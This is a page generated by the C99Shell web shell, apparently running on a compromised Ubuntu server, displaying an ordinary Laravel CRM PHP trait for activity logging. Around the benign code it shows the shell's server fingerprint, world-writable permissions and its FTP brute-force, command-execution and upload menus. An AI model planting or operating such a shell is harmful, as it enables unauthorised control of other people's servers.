!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Activity/src/Traits/   drwxrwxrwx
Free 13.06 GB of 57.97 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogsActivity.php (4.92 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Activity\Traits;

use 
Webkul\Activity\Repositories\ActivityRepository;
use 
Webkul\Attribute\Contracts\AttributeValue;
use 
Webkul\Attribute\Repositories\AttributeValueRepository;

trait 
LogsActivity
{
    
/**
     * The "booted" method of the model.
     */
    
protected static function booted(): void
    
{
        static::
created(function ($model) {
            if (! 
method_exists($model->entity ?? $model'activities')) {
                return;
            }

            if (! 
$model instanceof AttributeValue) {
                
$activity app(ActivityRepository::class)->create([
                    
'type'    => 'system',
                    
'title'   => trans('admin::app.activities.created'),
                    
'is_done' => 1,
                    
'user_id' => auth()->check()
                        ? 
auth()->id()
                        : 
null,
                ]);

                
$model->activities()->attach($activity->id);

                return;
            }

            static::
logActivity($model);
        });

        static::
updated(function ($model) {
            if (! 
method_exists($model->entity ?? $model'activities')) {
                return;
            }

            static::
logActivity($model);
        });

        static::
deleting(function ($model) {
            if (! 
method_exists($model->entity ?? $model'activities')) {
                return;
            }

            
$model->activities()->delete();
        });
    }

    
/**
     * Create activity.
     */
    
protected static function logActivity($model)
    {
        
$customAttributes = [];

        if (
method_exists($model'getCustomAttributes')) {
            
$customAttributes $model->getCustomAttributes()->pluck('code')->toArray();
        }

        
$updatedAttributes = static::getUpdatedAttributes($model);

        foreach (
$updatedAttributes as $attributeCode => $attributeData) {
            if (
in_array($attributeCode$customAttributes)) {
                continue;
            }

            
$attributeCode $model->attribute?->name ?: $attributeCode;

            
$activity app(ActivityRepository::class)->create([
                
'type'       => 'system',
                
'title'      => trans('admin::app.activities.updated', ['attribute' => $attributeCode]),
                
'is_done'    => 1,
                
'additional' => json_encode([
                    
'attribute' => $attributeCode,
                    
'new'       => [
                        
'value' => $attributeData['new'],
                        
'label' => static::getAttributeLabel($attributeData['new'], $model->attribute),
                    ],
                    
'old'       => [
                        
'value' => $attributeData['old'],
                        
'label' => static::getAttributeLabel($attributeData['old'], $model->attribute),
                    ],
                ]),
                
'user_id'    => auth()->id(),
            ]);

            if (
$model instanceof AttributeValue) {
                
$model->entity->activities()->attach($activity->id);
            } else {
                
$model->activities()->attach($activity->id);
            }
        }
    }

    
/**
     * Get attribute label.
     */
    
protected static function getAttributeLabel($value$attribute)
    {
        return 
app(AttributeValueRepository::class)->getAttributeLabel($value$attribute);
    }

    
/**
     * Create activity.
     */
    
protected static function getUpdatedAttributes($model)
    {
        
$updatedAttributes = [];

        foreach (
$model->getDirty() as $key => $value) {
            if (
in_array($key, [
                
'id',
                
'attribute_id',
                
'entity_id',
                
'entity_type',
                
'updated_at',
            ])) {
                continue;
            }

            
$newValue = static::decodeValueIfJson($value);

            
$oldValue = static::decodeValueIfJson($model->getOriginal($key));

            if (
$newValue != $oldValue) {
                
$updatedAttributes[$key] = [
                    
'new' => $newValue,
                    
'old' => $oldValue,
                ];
            }
        }

        return 
$updatedAttributes;
    }

    
/**
     * Convert value if json.
     */
    
protected static function decodeValueIfJson($value)
    {
        if (
            ! 
is_array($value)
            && 
json_decode($valuetrue)
        ) {
            
$value json_decode($valuetrue);
        }

        if (! 
is_array($value)) {
            return 
$value;
        }

        static::
ksortRecursive($value);

        return 
$value;
    }

    
/**
     * Sort array recursively.
     */
    
protected static function ksortRecursive(&$array)
    {
        if (! 
is_array($array)) {
            return;
        }

        
ksort($array);

        foreach (
$array as &$value) {
            if (! 
is_array($value)) {
                continue;
            }

            static::
ksortRecursive($value);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--